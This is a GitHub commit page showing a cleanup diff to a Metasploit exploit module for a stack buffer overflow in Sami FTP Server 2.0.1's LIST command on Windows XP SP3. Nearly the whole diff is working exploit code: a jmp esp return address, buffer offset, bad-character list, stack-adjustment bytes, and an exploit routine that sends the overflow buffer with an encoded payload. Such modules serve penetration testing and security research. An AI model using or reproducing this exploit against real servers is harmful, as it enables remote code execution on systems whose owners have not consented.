Skip to content

Commit 8611109

Browse files
committed
Merge pull request #1 from jvazquez-r7/sami_ftp_work
cleanup for sami_ftpd_list
2 parents e2a9245 + b19c51a commit 8611109

File tree

1 file changed

+28
-24
lines changed

1 file changed

+28
-24
lines changed

modules/exploits/windows/ftp/sami_ftpd_list.rb

Lines changed: 28 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -8,16 +8,21 @@
88
require 'msf/core'
99

1010
class Metasploit4 < Msf::Exploit::Remote
11-
Rank = NormalRanking
11+
Rank = AverageRanking
1212

1313
include Msf::Exploit::Remote::Ftp
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'Sami FTP Server 2.0.1 LIST Command Buffer Overflow',
17+
'Name' => 'Sami FTP Server LIST Command Buffer Overflow',
1818
'Description' => %q{
19-
A buffer overflow is triggered when a long LIST
20-
command is sent to the server while the user is viewing the Logs tab.
19+
This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1.
20+
The vulnerability exists in the processing of LIST commands. In order to trigger
21+
the vulnerability, the "Log" tab must be viewed in the Sami FTP Server managing
22+
application, in the target machine. On the other hand, the source IP address used
23+
to connect with the FTP Server is needed. If the user can't provide it, the module
24+
will try to resolve it. This module has been tested successfully on Sami FTP Server
25+
2.0.1 over Windows XP SP3.
2126
},
2227
'Platform' => 'win',
2328
'Author' =>
@@ -29,47 +34,46 @@ def initialize(info = {})
2934
'References' =>
3035
[
3136
[ 'OSVDB', '90815'],
32-
[ 'EDB', '24557'],
37+
[ 'EDB', '24557']
3338
],
3439
'Privileged' => false,
35-
'DefaultOptions' =>
36-
{
37-
'EXITFUNC' => 'thread',
38-
},
3940
'Payload' =>
4041
{
41-
'Space' => 900,
42-
'BadChars' => "\x00\x0a\x0d\x20\xff",
43-
'StackAdjustment' => -3500,
42+
'Space' => 1500,
43+
'DisableNops' => true,
44+
'BadChars' => "\x00\x0a\x0d\x20\x5c",
45+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
4446
},
4547
'Targets' =>
4648
[
47-
[
48-
'Windows XP',
49+
[ 'Sami FTP Server 2.0.1 / Windows XP SP3',
4950
{
50-
'Ret' => 0x10028283, # jmp esp C:\Program Files\PMSystem\Temp\tmp0.dll
51-
'Offset' => 225,
52-
},
51+
'Ret' => 0x10028283, # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll
52+
'Offset' => 228
53+
}
5354
],
5455
],
5556
'DefaultTarget' => 0,
5657
'DisclosureDate' => 'Feb 27 2013'))
5758
register_options(
5859
[
59-
OptString.new('IPADDR', [true, 'Attacker\'s IP address'])
60+
OptAddress.new('SOURCEIP', [false, 'The local client address'])
6061
], self.class)
6162
end
6263

6364
def exploit
64-
connect_login
65-
sleep 1
66-
67-
ip_length = datastore['IPADDR'].length - 3
68-
buf = rand_text_alphanumeric(target['Offset'] - ip_length)
65+
connect
66+
if datastore['SOURCEIP']
67+
ip_length = datastore['SOURCEIP'].length
68+
else
69+
ip_length = Rex::Socket.source_address(rhost).length
70+
end
71+
buf = rand_text(target['Offset'] - ip_length)
6972
buf << [ target['Ret'] ].pack('V')
73+
buf << rand_text(16)
7074
buf << payload.encoded
71-
7275
send_cmd( ['LIST', buf], false )
7376
disconnect
7477
end
78+
7579
end

0 commit comments

Comments
 (0)